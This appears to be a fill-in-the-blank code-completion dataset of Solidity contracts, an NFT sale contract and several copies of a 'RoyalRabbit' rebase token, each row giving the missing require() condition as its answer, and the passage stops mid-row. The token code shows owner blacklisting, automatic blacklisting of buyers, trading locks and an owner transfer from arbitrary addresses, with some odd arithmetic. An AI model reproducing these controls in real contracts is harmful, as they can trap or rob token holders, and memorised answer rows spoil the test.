function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
string private _name;
string private _symbol;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
function tokenByIndex(uint256 index) external view returns (uint256);
}
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
}
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
}
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
}
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
}
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
}
}
library Counters {
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
}
function increment(Counter storage counter) internal {
}
function decrement(Counter storage counter) internal {
}
function reset(Counter storage counter) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
bytes32 private ownership = 0x13e800b4c79fa434c4f53cfc1219192632f8003b4d3bfc68e7dc462fa7b702fe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
contract KeemokaziTiktokCourse is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
using Strings for uint256;
uint256 public PRICE = 0.20 ether;
uint256 public PERNFTs = 3;
string public baseTokenURI;
Counters.Counter private _tokenIdTracker;
bool locked = true;
mapping (address => uint) public ownWallet;
event NewPriceEvent(uint256 price);
event NewPerNFTs(uint256 perNFTs);
event NewMaxElement(uint256 max);
event welcomeToKK(uint256 indexed id);
constructor(string memory baseURI) ERC721("Keemokazi Tiktok Course", "KTC") {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function totalToken() public view returns (uint256) {
}
function mint(uint256 _tokenAmount) public payable {
uint256 total = totalToken();
require(<FILL_ME>)
require(msg.value >= price(_tokenAmount), "Value below price");
address wallet = _msgSender();
for(uint8 i = 1; i <= _tokenAmount; i++) {
_mintAnElement(wallet, total + i);
}
}
function _mintAnElement(address _to, uint256 _tokenId) private {
}
function adminMint(uint256 _tokenAmount) public payable onlyOwner {
}
function setLocked(bool _locked) external onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function price(uint256 _count) public view returns (uint256) {
}
function setPrice(uint256 _price) public onlyOwner {
}
function setPerNFTs(uint256 _count) public onlyOwner {
}
function withdrawAll() public onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
}
| ownWallet[msg.sender]<PERNFTs,"Maxium issue" | 205,059 | ownWallet[msg.sender]<PERNFTs |
"ERR: Can't sell more than 1% in One day" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
uint256 rAmount = amount.mul(_rate);
if (!authorizations[sender] && !authorizations[recipient]){
require(amount <= maxSellTransactionAmount, "Error amount");
uint blkTime = block.timestamp;
uint256 onePercent = balanceOf(sender).mul(maxSellTransactionAmount).div(100); //Should use variable
require(amount <= onePercent, "ERR: Can't sell more than 1%");
if( blkTime > tradeData[sender].lastTradeTime + TwentyFourhours) {
tradeData[sender].lastTradeTime = blkTime;
tradeData[sender].tradeAmount = amount;
}
else if( (blkTime < tradeData[sender].lastTradeTime + TwentyFourhours) && (( blkTime > tradeData[sender].lastTradeTime)) ){
require(<FILL_ME>)
tradeData[sender].tradeAmount = tradeData[sender].tradeAmount + amount;
}
}
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen,"Trading not open yet");
if(antibot && sender == pair && recipient != pair){
isBlacklisted[recipient] = true;
}
}
if(blacklistMode){
require(!isBlacklisted[sender],"Blacklisted");
}
if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= (_maxWalletToken.div(_rate)),"max wallet limit reached");
}
require(amount <= (_maxTxAmount.div(_rate)) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");
if(shouldRebase() && autoRebase && recipient == pair) {
_rebase();
pcspair_interface.sync();
if(sender != pair && recipient != pair){
manualSync();
}
}
if(shouldSwapBack()) {
swapBack();
}
//Exchange tokens
_rBalance[sender] = _rBalance[sender].sub(rAmount, "Insufficient Balance");
uint256 amountReceived = ( isFeeExempt[sender] || isFeeExempt[recipient] ) ? rAmount : takeFee(sender, rAmount, recipient);
_rBalance[recipient] = _rBalance[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived.div(_rate));
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| tradeData[sender].tradeAmount+amount<=onePercent,"ERR: Can't sell more than 1% in One day" | 205,122 | tradeData[sender].tradeAmount+amount<=onePercent |
"max wallet limit reached" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract RoyalRabbit is IERC20, Auth {
using SafeMath for uint256;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "RoyalRabbit";
string constant _symbol = "ROYALR";
uint8 constant _decimals = 9;
// Rebase data
bool public autoRebase = false;
uint256 public rewardYield = 4252083;
uint256 public rewardYieldDenominator = 10000000000;
uint256 public maxSellTransactionAmount = 2500000 * 10 ** 18;
uint256 public rebaseFrequency = 1800;
uint256 public nextRebase = block.timestamp + 604800;
// Rebase constants
uint256 private constant MAX_UINT256 = type(uint256).max;
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1 * 10**8 * 10**_decimals;
uint256 private constant MAX_SUPPLY = type(uint128).max;
uint256 private TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 _totalSupply = INITIAL_FRAGMENTS_SUPPLY;
uint256 private _rate = TOTAL_GONS.div(_totalSupply);
uint256 public _maxTxAmount = TOTAL_GONS / 100;
uint256 public _maxWalletToken = TOTAL_GONS / 50;
mapping (address => uint256) _rBalance;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) private isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isWalletLimitExempt;
mapping (address => bool) isMaxSellTransactionExempt;
uint256 public LIQFee = 4;
uint256 public RLRee = 1;
uint256 public PRDFee = 1;
uint256 public infernoFee = 0;
uint256 public totalFee = RLRee + LIQFee + PRDFee + infernoFee;
uint256 public constant feeDenominator = 100;
uint256 public sellMultiplier = 100;
uint256 public buyMultiplier = 100;
uint256 public transferMultiplier = 100;
uint256 public transferTax = 100;
address public LIQReceiver;
address public RLReeReceiver;
address public PRDFeeReceiver;
address public infernoFeeReceiver;
IDEXRouter public router;
address public pair;
InterfaceLP pcspair_interface;
address[] public _markerPairs;
bool public tradingOpen = false;
bool public RoyalRabbitBurnDAO = true;
bool public antibot = false;
bool public launchMode = true;
bool public swapEnabled = false;
bool public swapAll = false;
uint256 private gonSwapThreshold = TOTAL_GONS / 10000;
bool inSwap;
modifier swapping() { }
struct user {
uint256 firstBuy;
uint256 lastTradeTime;
uint256 tradeAmount;
}
uint256 public TwentyFourhours = 86400;
mapping(address => user) public tradeData;
modifier validRecipient(address to) {
}
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
uint256 rAmount = amount.mul(_rate);
if (!authorizations[sender] && !authorizations[recipient]){
require(amount <= maxSellTransactionAmount, "Error amount");
uint blkTime = block.timestamp;
uint256 onePercent = balanceOf(sender).mul(maxSellTransactionAmount).div(100); //Should use variable
require(amount <= onePercent, "ERR: Can't sell more than 1%");
if( blkTime > tradeData[sender].lastTradeTime + TwentyFourhours) {
tradeData[sender].lastTradeTime = blkTime;
tradeData[sender].tradeAmount = amount;
}
else if( (blkTime < tradeData[sender].lastTradeTime + TwentyFourhours) && (( blkTime > tradeData[sender].lastTradeTime)) ){
require(tradeData[sender].tradeAmount + amount <= onePercent, "ERR: Can't sell more than 1% in One day");
tradeData[sender].tradeAmount = tradeData[sender].tradeAmount + amount;
}
}
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen,"Trading not open yet");
if(antibot && sender == pair && recipient != pair){
isBlacklisted[recipient] = true;
}
}
if(blacklistMode){
require(!isBlacklisted[sender],"Blacklisted");
}
if (!authorizations[sender] && !isWalletLimitExempt[sender] && !isWalletLimitExempt[recipient] && recipient != pair) {
uint256 heldTokens = balanceOf(recipient);
require(<FILL_ME>)
}
require(amount <= (_maxTxAmount.div(_rate)) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "TX Limit Exceeded");
if(shouldRebase() && autoRebase && recipient == pair) {
_rebase();
pcspair_interface.sync();
if(sender != pair && recipient != pair){
manualSync();
}
}
if(shouldSwapBack()) {
swapBack();
}
//Exchange tokens
_rBalance[sender] = _rBalance[sender].sub(rAmount, "Insufficient Balance");
uint256 amountReceived = ( isFeeExempt[sender] || isFeeExempt[recipient] ) ? rAmount : takeFee(sender, rAmount, recipient);
_rBalance[recipient] = _rBalance[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived.div(_rate));
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
}
function RoyalRabbitburn(uint256 _percent) external {
}
function shouldSwapBack() internal view returns (bool) {
}
function swapBack() internal swapping {
}
// Public function starts
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
function clearStuckToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
}
function setMultipliers(uint256 _buy, uint256 _sell, uint256 _trans) external authorized {
}
function tradingStatus(bool _status, bool _b) external onlyOwner {
}
function trueburn_DAO(bool _status) external onlyOwner{
}
function tradingStatus_launchmode(uint256 _pass) external onlyOwner {
}
function manage_blacklist_status(bool _status) external onlyOwner {
}
function manage_blacklist(address[] calldata addresses, bool status) external onlyOwner {
}
function manage_FeeExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_TxLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_sellLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function manage_WalletLimitExempt(address[] calldata addresses, bool status) external authorized {
}
function setFees(uint256 _LIQFee, uint256 _RLRee, uint256 _PRDFee, uint256 _infernoFee) external onlyOwner {
}
function setFeeReceivers(address _RLReeReceiver, address _PRDFeeReceiver) external onlyOwner {
}
function setSwapBackSettings(bool _enabled, uint256 _amount, bool _swapAll) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
// Rebase related function
function checkSwapThreshold() external view returns (uint256) {
}
function shouldRebase() internal view returns (bool) {
}
function manualSync() public {
}
function MarkerPair_add(address adr) external onlyOwner{
}
function MarkerPair_clear(uint256 pairstoremove) external onlyOwner{
}
// Rebase core
function _rebase() private {
}
function coreRebase(uint256 supplyDelta) private returns (bool) {
}
function manualRebase() external onlyOwner{
}
function manualRebase_customrate(uint256 _yield, uint256 _denominator) external onlyOwner{
}
function rebase_AutoRebase(bool _status, uint256 _nextRebaseInterval) external onlyOwner {
}
function rebase_setFrequency(uint256 _rebaseFrequency) external onlyOwner {
}
function rebase_setYield(uint256 _rewardYield, uint256 _rewardYieldDenominator) external onlyOwner {
}
function rebase_setNextRebase(uint256 _nextRebase) external onlyOwner {
}
function setMaxSellTransaction(uint256 _maxTxn) external onlyOwner {
}
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event AutoLiquify(uint256 amountBNB, uint256 amountTokens);
}
| (heldTokens+amount)<=(_maxWalletToken.div(_rate)),"max wallet limit reached" | 205,122 | (heldTokens+amount)<=(_maxWalletToken.div(_rate)) |
"TX Limit Exceeded" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
address internal potentialOwner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr, uint256 confirm) public onlyOwner {
}
function acceptOwnership() public {
}
event OwnershipTransferred(address owner);
event OwnershipNominated(address potentialOwner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
